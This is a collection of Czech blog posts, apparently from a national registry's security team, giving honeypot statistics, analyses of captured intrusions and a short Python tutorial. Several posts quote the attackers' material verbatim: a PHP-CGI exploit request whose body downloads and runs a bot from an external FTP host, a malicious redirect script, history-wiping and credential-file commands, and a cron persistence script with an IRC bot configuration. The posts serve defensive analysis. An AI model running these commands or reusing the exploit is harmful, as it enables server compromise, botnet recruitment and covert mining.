Bezpečnostní incident v číslech: napadení známé webové stránky

Včera jsme zaznamenali napadení serveru nevyhazujto.cz. Útočník, jak bývá v těchto případech obvyklé, použil úmyslně nečitelný javascript kód, který po dekódování přidával do stránky tento kód:

<script type="text/javascript">
var now = new Date().getTime();
if (now%7 == 0) {
window.location = "http://bit.ly/1glIErF";
}
</script>

Smysl je jednoduchý: v jednom ze sedmi případů přesměrovat uživatele na adresu https://bitly.com/1glIErF. Z této adresy je pak uživatel přesměrován řetězcem dalších webů, které můžou konečný cíl měnit. V jednom případě jsem skončil na bearshare.com, v druhém na torchbrowser.com s nabídkou ke stažení jejich programů (a téměř určitě bude cílů více). Kdo by za nimi hledal malware, tak bude možná překvapen, alespoň Virustotal je tak nehlásí. Monetizace v tomto případě útočníkovi plyne z affiliate programů daných webů, protože součástí odkazu je i jednoznačný identifikátor, který má útočník zaregistrovaný a sbírá přes něj provize z provedených instalací, uskutečněných nákupů apod.

Virtuální měny jako příležitost pro hackery

Mezi honeypoty, které sdružení CZ.NIC provozuje, patří i honeypot Glastopf. Ten simuluje webovou aplikaci a zaznamenává pokusy o útoky na ni. Předminulý týden jsem na něm narazil na tento HTTP požadavek:

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F
%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E
%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69
%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+
%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30
+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F
%69%6E%70%75%74+%2D%6E HTTP/1.1
Content-Length: 264
Content-Type: application/x-www-form-urlencoded
Host: -h

<? system("killall -9 perl;
killall -9 php;
cd /tmp;
wget ftp://199.71.214.66/bko -O /tmp/bko;
curl -O ftp://199.71.214.66/bko -O /tmp/bko;
fetch -U ftp://199.71.214.66/bko -O /tmp/bko;
lwp-download ftp://199.71.214.66/bko -O /tmp/bko;
perl /tmp/bko;
rm -rf /mpbko*"); ?>

Když dekódujeme query string, získáme toto (zformátováno):

-d+allow_url_include=on
+-d+safe_mode=off
+-d+suhosin.simulation=on
+-d+disable_functions=""
+-d+open_basedir=none
+-d+auto_prepend_file=php://input
+-d+cgi.force_redirect=0
+-d+cgi.redirect_status_env=0
+-d+auto_prepend_file=php://input
+-n

Jedná se o zneužití zranitelnosti PHP označené CVE-2012-1823 a její nekompletní opravy CVE-2012-2311, které cílí na verze nižší než 5.4.3 nebo 5.3.13 a prostředí, kde se PHP používá v konfiguraci CGI. Ve stručnosti je problém v neošetřeném případu, kdy v query stringu chybí znak „=“ a výše uvedené parametry se předávají při spuštění PHP (jejich částečné vysvětlení je například zde). Tělo tohoto požadavku je PHP skript s voláním funkce system, která spustí zadané příkazy s oprávněním, pod kterým běží web server.

Jakmile už má útočník možnost spouštět libovolné příkazy, následuje obvyklý scénář: stáhnout a spustit připravené soubory, v tomto případě IRC klienta DDoS Perl IrcBot 1.0. Zde končí informace, které nám dal honeypot. Další postup se dá ale odhadnout, když se podíváme, jaké další soubory jsou na použitém ftp serveru: mimo jiné dva binární soubory – 32 a 64bitová verze mineru cpuminer pro virtuální měnu Litecoin a instalační skript, který zajistí jeho spouštění přes crontab. Pokud někdo netuší, co jsou minery, tak se jedná o programy, kterými lze tzv. dolovat virtuální měny pomocí výpočtu složitých matematických úloh. V samotném spuštění mineru lze přečíst i přihlašovací údaje daného uživatele:

m64 -o stratum+tcp://hk.wemineltc.com:3333 -O judge.1:x -B

Jak je patrné minimálně z tohoto dotazu na stackoverflow.com, stejnou konfiguraci používal útočník již v říjnu. Že je dolování virtuálních měn novou možností pro hackery jak zhodnotit své útoky, o tom svědčí i tato zpráva Avastu z letošního srpna. V tomto případě se jednalo pro změnu u útok na Windows a dolovaly se Bitcoiny.

Jiří Machálek

Honeynet: problematické autonomní systémy se příliš nemění

Po půlroční pauze se pojďme opět podívat na statistiky z našeho honeynetu. A začněme rovnou přehledem největších „hříšníků“ – autonomních systémů, z kterých se k nám útočníci od května do konce července připojovali.

Nejčastější útočníci (květen 2013 – červenec 2013)

Nejčastější útočníci (květen 2013 – červenec 2013)

Tentokrát vede brazilská síť AS28573, která od poloviny července intenzivně šířila tento typ viru Conficker a s více než 30 tisíci uploady mu zajistila první místo v další tabulce zachyceného malware. Tato síť už se v minulosti v našich statistikách objevila a není to vůbec překvapivé, protože podle statistik Shadowserver jí aktuálně patří 12. místo (řazeno podle absolutního počtu IP adres šířících vir Conficker). Infikované je celé 1 % jejího adresního prostoru.

Podobně smutná situace je u tchajwanské sítě AS3462, která se v našich statistikách objevuje taky pravidelně a tentokrát skončila na 6. místě (celosvětově jí patří místo sedmé). Za sledované období se snažila rozšířit 93 různých virů.

Ani třetí v pořadí v naší tabulce není výjimkou. Venezuelská síť AS8048 se snažila šířit 42 virů, z toho čtyři se dostaly i do tabulky deseti nejčetnějších. Tato síť je celosvětově na 29. místě.

Naopak jako výjimky se dají označit polská síť AS196927 a bulharská síť AS42431, které si své umístění zasloužily díky jednotlivcům. V případě polské IP trval útok dva týdny, v případě bulharské osm dní. Osobně mě překvapilo umístění chorvatské akademické sítě AS2108, kde útok trvá s menšími přestávkami stále. Podle zkušeností s naším CESNETem bych očekával rychlejší řešení incidentu.

Pro zajímavost ještě znázornění na mapě, kde je výrazně vidět Brazílie s Polskem. Očekávatelné Rusko zdaleka není tak zajímavé.

Zdroje útoků (květen 2013 - červenec 2013)

Zdroje útoků (květen 2013 – červenec 2013)

V přehledu portů, na které se útočníci připojovali, vede 445 (SMB protokol), výrazně méně připojení pak směřovalo na porty 5060 (SIP), 3306 (databáze MySQL), 1433 (Microsoft SQL Server) a 80 (HTTP).

Cílové porty (květen 2013 - červenec 2013), horizontální osa má logaritmickou škálu

Cílové porty (květen 2013 – červenec 2013), horizontální osa má logaritmickou škálu

V přehledu zachyceného malwaru vedou různé varianty viru Conficker. Platí, že většinou jednu variantu šíří jeden autonomní systém.

Zachycený malware (květen 2013 - červenec 2013)

Zachycený malware (květen 2013 – červenec 2013)

Na našem webovém honeypotu mě vedle běžných hledání skriptu setup.php pro phpMyAdmin (viz CVE-2010-3055) zaujal dotaz na soubor /phppath/php metodou POST s tělem <?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>. Jedná se o pokus zneužít zranitelnost CVE-2013-4878 v  Parallels Plesk Panel, která byla zveřejněna 5. června. První útok tohoto typu jsme zachytili v sobotu 8. června, tedy jen o 3 dny později. Ukazuje to, že je důležité neodkládat bezpečnostní aktualizace až po víkendu :-).

Jiří Machálek

Honeynet: útoky na přelomu roku

Poslední statistky z našeho honeynetu jsme zveřejnili počátkem listopadu, takže je opět vhodný čas se podívat, co se v uplynulých měsících dělo.

Nejvýrazněji se na statistikách podepsal autonomní systém AS3462 z Tchaj-wanu s počtem 372 unikátních IP adres. Opakuje se tak situace z minulého období. Počítače z tohoto rozsahu šířily 100 různých variant malware, z toho dvě se dostaly do TOP 10 za poslední sledované období (viz první a druhý malware na VirusTotal); jedna z těchto dvou byla šířena z jediné IP adresy. Tento AS sám o sobě zajistil Tchaj-wanu první příčku ve srovnání s ostatními státy světa.

Nejčastější útočníci (listopad 2012 – leden 2013)

Při pohledu na mapu světa jsou opět nejvýrazněji vidět Rusko a Brazílie. Oba státy vynesly na vysoké příčky stejné AS, jako v minulém období – ruský AS8402 a brazilský AS27699. Překonává je jen zmiňovaný Tchaj-wan a tentokrát i Arménie, která šířila tuto variantu viru Conficker. Menší množství útoků na nás směřovalo také z Německa a Srbska.

Zdroje útoků (listopad 2012 – leden 2013)

Nejčastěji se útočníci připojovali na port 445 (SMB protokol), řádově méně pokusů bylo dále na porty 80 (HTTP), 5060 (SIP), 3306 (databáze MySQL) a 1433 (Microsoft SQL Server).

Cílové porty (listopad 2012 – leden 2013), horizontální osa má logaritmickou škálu

Nejčastěji nahrávaný malware tvořily různé varianty Confickeru. Většinou platí, že jeden typ šíří téměř výhradně jeden autonomní systém.

Zachycený malware (listopad 2012 – leden 2013)

Na konec ještě přehled nejčastějších kombinací přihlašovacích údajů na službu SSH. Proti minulému období se nově v TOP 10 objevila kombinace test-test a root-redhat.

Přihlašování na SSH (listopad 2012 – leden 2013)

Jiří Machálek

Přístup k systému Request Tracker z Pythonu

Závěrem loňského roku Laboratoře CZ.NIC vydaly první verzi modulu python-rt. Ten umožňuje přistupovat z Pythonu k API systému pro správu požadavků Request Tracker. Původně byl tento modul vyvinut v rámci projektu MDM, nakonec je ovšem použitelný i samostatně. Podrobnosti o modulu naleznete na stránce projektu a v jeho dokumentaci.

Co vlastně je Request Tracker a kde se podobné systémy uplatní? Jedná se o webové aplikace, které přehledně evidují požadavky (typicky nahlášené e-mailem) a umožňují skupině lidí spolupracovat na jejich řešení. Běžně takové tyto systémy používají například oddělení zákaznické podpory. Veřejně dostupné demo systému Request Tracker si můžete vyzkoušet zde. A právě na něm si ukážeme, jak se modul používá.

  1. Na testování si vytvoříme nové virtuální prostředí v adresáři env-rt, přesuneme se do něj a aktivujeme jej:
    $ virtualenv env-rt
    $ cd env-rt
    $ source bin/activate
  2. Nainstalujeme modul rt:
    (env-rt)$ pip install rt
  3. Spustíme Python v interaktivním režimu:
    (env-rt)$ python
  4. Importujeme modul rt a vytvoříme instanci jeho třídy rt (tři parametry: adresa REST API systému Request Tracker., uživatelské jméno, heslo):
    >>> import rt
    >>> tracker = rt.Rt('http://rt.easter-eggs.org/demos/stable/REST/1.0',
    ... 'mike.bar', 'mike.bar')
  5. Přihlásíme se do systému a vyhledáme všechny vlastníky požadavků ve frontě Helpdesk:
    >>> tracker.login()
    True
    >>> set(map(lambda x: x['Owner'], tracker.search(Queue="Helpdesk")))
    set([u'admin', u'john.foo', u'Nobody', u'mike.bar'])
  6. Dále například můžeme vytvořit nový požadavek:
    >>> tracker.create_ticket(Queue='Helpdesk',
    ... Subject='Coffee (important)', Text='Help I ran out of coffee!')
    113
  7. Vrácené číslo je ID požadavku, které můžeme využít pokud chceme například požadavek editovat:
    >>> tracker.edit_ticket(113, Requestors='addicted@example.com')
    True
  8. Důležitá je také možnost na požadavky reagovat:
    >>> tracker.reply(113, text='Do you know Starbucks?')
    True
  9. Na konci se odhlásíme:
    >>> tracker.logout()
    True

Pokud se rozhodnete modul používat, budeme rádi za vaši zpětnou vazbu.

Jiří Machálek

Honeynet: co se dělo v minulých měsících

Uběhly opět tři měsíce od doby, kdy jsme zveřejnili statistiku z našeho honeynetu. Kdo nezvaný tedy navštívil naše servery v nedávné době?

Tentokrát jsme útočníky seskupili podle jejich autonomních systémů, oproti původnímu přehledu jednotlivých adres. Důvodem je výskyt rovnoměrnějších útoků více strojů z jednoho AS, které by jinak obsadily většinu z prvních deseti míst v přehledu jednotlivců a tabulka by nebyla tak zajímavá. Nejčastěji se připojovaly adresy z AS3462 (Tchaj-wan) a šířily tuto verzi červa Conficker (konkrétně 19630 případů). Další místo patří ruskému AS8402, jehož stroje nás napadly jinou verzí (7472 případů). Soutěž jednotlivců by vyhrála IP adresa 212.56.215.250 z Moldavska, která se připojovala téměř stotisíckrát, což je více než dvojnásobek proti minulému období.

Nejčastější útočníci (srpen – říjen 2012)

Na mapě světa je Tchaj-wan jako hlavní zdroj útoků nenápadný. Z větších zemí lze vidět tradiční Rusko, pak Brazílii a Rumunsko. Menší množství útoků pocházelo také z Francie a Argentiny.

Zdroje útoků (srpen – říjen 2012)

Nejčastěji se útočníci připojovali na port 445 (SMB protokol), řádově méně pokusů bylo dále na porty 3306 (databáze MySQL), 1433 (Microsoft SQL Server), 80 (HTTP) a 5060 (SIP).

Cílové porty (srpen – říjen 2012), horizontální osa má logaritmickou škálu

Přehled zachyceného malware výrazně vedou zmiňované dvě varianty červa Conficker. Další místa jsou jen v řádech desítek případů a bez výjimky pouze jiné varianty stejného červa. Mimochodem pokud jste ISP a zajímají vás statistiky tohoto červa pro váš autonomní systém, můžete využít web Shadowserver.

Zachycený malware (srpen – říjen 2012)

Na závěr ještě přehled nejčastějších kombinací přihlašovacích údajů zkoušených na SSH službu: vede obligátní root/password, jediný nerootovský účet, který se do top 10 dostal, je Oracle.

Přihlašování na SSH (srpen – říjen 2012)

Jiří Machálek

P.S. Mimochodem, o projektu Honeynet bude také jedna z přednášek konference Internet a Technologie 12. Přijďte se podívat.

Honeypot: pokus o zvýšení privilegií

Nedávno jsem na našem honeypotu narazil na útočníka, který se nalogoval na neprivilegovaného uživatele a snažil se dostat na účet roota, aby měl kontrolu nad celým systémem. Neboli klasické privilege escalation. Jak konkrétně to vypadá? Pokud máte aktualizovaný systém, musí útočník přijít s exploitovanou zranitelností, která zatím není opravená, ideálně ani veřejně známá. V tomto případě si myslím, že by útočník využil tuto znalost pro cílený útok na server, kde lze očekávat nějaká zajímavá data nebo aspoň zářez na pažbě v podobě známého serveru. V našem případě spíš zkoušel náhodnou IP, kde běželo SSH a existoval uživatel se slabým heslem. Podle toho taky vypadala sada jeho nástrojů – samé veřejně dostupné exploity.

Útočník nejprve nasbíral základní informace o systému – zda je na systému sám (w), verzi jádra (uname -a), uživatelské účty (cat /etc/passwd) a jak dlouho je systém spuštěný (uptime). Následně změnil heslo uživatele, na kterého byl přihlášený a v jeho domovském adresáři vytvořil podadresář nazvaný „…“, kam stáhl potřebné nástroje. Postupně útočník zkoušel tyto:

  1. CVE-2009-2692: sock_sendpage() NULL Pointer Dereference Vulnerability (informace a exploitpopis)
  2. CVE-2010-4604: IBM Tivoli Storage Manager (TSM) Local Root (exploit)
  3. CVE-2010-0832: Ubuntu PAM MOTD local root (exploit)
  4. Geany 0.18 Local File Overwrite Exploit (exploit)
  5. CVE-2010-2961 : Ubuntu Linux mountall Privilege Escalation (popis a exploit)
  6. CVE-2010-3081: 64-bit Compatibility Mode Stack Pointer Underflow (exploitanalýza exploitu)
  7. CVE-2009-3001: AF_LLC getsockname 5-Byte Stack Disclosure (exploit)
  8. Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (exploitanalýza exploitu)

Kromě exploitů chtěl útočník spustit i dva IRC klienty:

  1. perlb0t ver 0.5:  IRC bot, který umožňuje vzdáleně provádět TCP/UDP/HTTP flooding, scanovat porty, hledat a útočit na nezáplatované verze CMS Mambo/Joomla.
  2. IRC klient BitchX: Standardní IRC klient. Předpokládám, že když už se útočník nedostal na roota, chtěl alespoň použít napadený systém k řízení jiných botů, které napadl dříve.

Vhledem k tomu, že se jednalo o honeypot, tak útočník nakonec neuspěl. Po těchto pokusech tedy za sebou smazal stopy a odhlásil se. Tento příklad však ukazuje, jak jednoduché je takový útok provést i pro útočníka bez hlubších znalostí systému a jak důležité je udržovat systémy aktualizované.

Jiří Machálek

Honeynet: kdo se přilepil za poslední 3 měsíce

Jak jsme předesílali při zveřejnění minulého článku, chceme statistiky z našeho honeynetu zveřejňovat pravidelně. Zde jsou tedy výsledky, jak si útočníci vedli od května do konce července 2012.

Nejaktivnějšími útoky byly ze dvou tchajwanských IP adres. V obou případech se připojovali téměř výhradně na port 445 (protokol SMB pro sdílení souborů a složek v systémech Windows), více než 88000-krát. Více než 14000-krát nahrávali jednu variantu viru Conficker (viz analýza serveru Virus Total). Další významní útočníci byli z ruského subnetu 31.29.144.0/21 – v top 10 jednotlivců se objevili hned čtyři:

Nejčastější útočníci (květen – červenec 2012)

Při vykreslení na mapě světa sice vedoucí Tchajwan zaniká, zato jsou vidět i ostatní země. Tradičně hodně připojení míří z Ruska, další jsou počtem připojení vyrovnané USA a Čína. Díky jednotlivcům je vidět i Venezuelu a Kazachstán:

Zdroje útoků (květen – červenec 2012)

 

Pořadí portů, o které měli tentokrát útočníci zájem, vede zmiňovaný port 445, dále 139 (NetBIOS session service), 80 (HTTP), 1433 (Microsoft SQL Server), 3389 (Remote Desktop Protocol) a 5060 (SIP). Horizontální osa grafu používá logaritmickou škálu:

Cílové porty (květen – červenec 2012)

Proti minulé statistice výrazně narostlo procento rozpoznaných operačních systémů útočníků. Systémy s různými verzemi OS Windows má celkem 69,2 % útočníků, systémy založené na Linuxu s jádrem verze 2.6 9,4 %, ostatní systémy zůstaly neurčené:

Operační systémy útočníků (květen – červenec 2012)

Navíc tentokrát přinášíme přehled nejčastěji nahrávaných virů. Celkem jsme zaznamenali 33165 nahrání virů (z toho 600 unikátních). Průměrně tedy jeden virus každé 4 minuty. V tabulce je 10 nejčastějších s jejich identifikací podle antiviru Kaspersky. Kido, který je vidět osmkrát, je jiné označení viru Conficker. Zbylé dva viry jsou z rodiny Genome. Velké zastoupení viru Conficker lze připsat dobře simulované zranitelnosti MS08-067, díky které se šíří.

Nahraný malware (květen – červenec 2012)

Pro zajímavost nabízíme nakonec tabulku nejčastějších kombinací, které útočníci zkoušeli při přístupu na službu SSH v červenci. Osobně mě překvapilo heslo 1qazxsw2. Pokud vás taky, tak si ho zkuste napsat na klávesnici.

Přihlašování na SSH (červenec 2012)

Jiří Machálek

Jak útočí script kiddies a jak zjistit napadení

Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.

O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:

$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \
> export HISTFILE=/dev/null; export HISTSIZE=0; \
> export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \
> unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \
> unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null

Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:

$ cat /proc/cpuinfo
$ cd /home
$ ls -xa
$ cd -
$ uname -a
$ w

Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):

$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2
$ cat /etc/psa/.psa.shadow
$ history -c
$ cat /etc/ssh/.sshd_auth

Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):

$ ps -aux
$ cat /etc/passwd
$ uname -a
$ w
$ last
$ cd ~
$ ls -xa

Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):

$ cd /dev/shm/
$ ls -xa
$ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;

Obsahem archivu byly následující soubory:

XXX/
XXX/autorun
XXX/bash
XXX/inst
XXX/m.help
XXX/pico
XXX/r/
XXX/r/raway.e
XXX/r/rinsult.e
XXX/r/rkicks.e
XXX/r/rnicks.e
XXX/r/rpickup.e
XXX/r/rsay.e
XXX/r/rsignoff.e
XXX/r/rtsay.e
XXX/r/rversions.e
XXX/run
XXX/start
XXX/update
XXX/xh

Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:

$ rm -rf XXX.jpg
$ cd XXX
$ chmod +x *
$ mv bash sshd:
$ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run
$ ./start qq

Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:

cat /etc/passwd
history -c

Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:

#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):

$ cat m.set
SERVER 208.83.20.130 6667
SERVER budapest.hu.eu.undernet.org 7000
SERVER budapest.hu.eu.undernet.org 6666
SERVER zurich.ch.eu.undernet.org 7000
SERVER mesa.az.us.undernet.org 7000
ENTITY 192.168.1.1
### BOT 1 ###
NICK Irina
USERFILE 192.168.1.1.user
CMDCHAR .
LOGIN Peter
IRCNAME Olga
MODES +iwsx
HASONOTICE
VIRTUAL 192.168.1.1
TOG CC 1
TOG CLOAK 1
TOG SPY 1
SET OPMODES 6
SET BANMODES 6
CHANNEL #qq 
TOG PUB 1
TOG MASS 1
TOG SHIT 1
TOG PROT 1
TOG ENFM 0
SET MKL 7
SET MBL 7
SET MPL
$ cat 192.168.1.1.user
handle * 
mask *!*@MagicX.users.undernet.org 
prot 4
aop 1
channel * 
access 100

Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:

Infected with a virus or trojan, please clean your system.
Cleaner @ http://www.moosoft.com (P227)

V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.

Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.

Jiří Machálek

Nezvané návštěvy chytáme na med

Jednou z aktivit CZ.NICu je provozování serverů detekujících pokusy o neoprávněná připojení a útoky. Obecně se takový server označuje jako honeypot (tedy sklenice medu) – pro útočníky se může zdát lákavý, ale poskytované služby jsou pouze simulované a informace o útočníkovi se zaznamenávají. Zde je vhodné podotknout, že se nejedná o cílené útoky, ale spíše o výsledky práce programů (čtěte virů), které systematicky prochází prostor IP adres a zkouší, kde budou mít štěstí. Smysl provozování honeypotů je v analýze trendů a monitorování bezpečnosti internetu. Jaké jsou tedy naše statistiky za duben letošního roku?

Zdroje útoků v dubnu 2012

Mapa je obarvena sytější barvou tam, odkud jsme zaznamenali více spojení. Není velkým překvapením, že vede Rusko, druhý za ním je potom Írán. Pokud se ale podíváme na žebříček nejčastějších IP adres, je vidět, že tyto země se do vedení dostaly zásluhou jednotlivců, navíc šlo o jednorázové skenování. Mimo těchto dvou případů je vidět, že zdroje útoků jsou velmi pestré a vyrovnané.

Nejčastější útočníci (duben 2012)

O jaké služby je největší zájem? Nejčastěji se útočníci zkouší připojit na port 80 (HTTP server), následně port 135 (služba Microsoft Remote Procedure Call), 5060 (protokol SIP), 3389 (Remote Desktop Protocol) a 1080 (SOCKS server). Není to nic překvapivého, protože všechny tyto služby se dají v případě napadení dobře zpeněžit nebo alespoň posloužit k dalšímu šíření virů.

Cílové porty (duben 2012)

Poslední statistika ukazuje pravděpodobné operační systémy útočníků (ten určuje pasivně utilita p0f z charakteristik TCP/IP komunikace): Systémy s různými verzemi OS Windows má celkem 39,5 % útočníků, systémy založené na Linuxu s jádrem verze 2.6 16,7 %, ostatní systémy zůstaly neurčené.

Operační systémy útočníků (duben 2012)

Jiří Machálek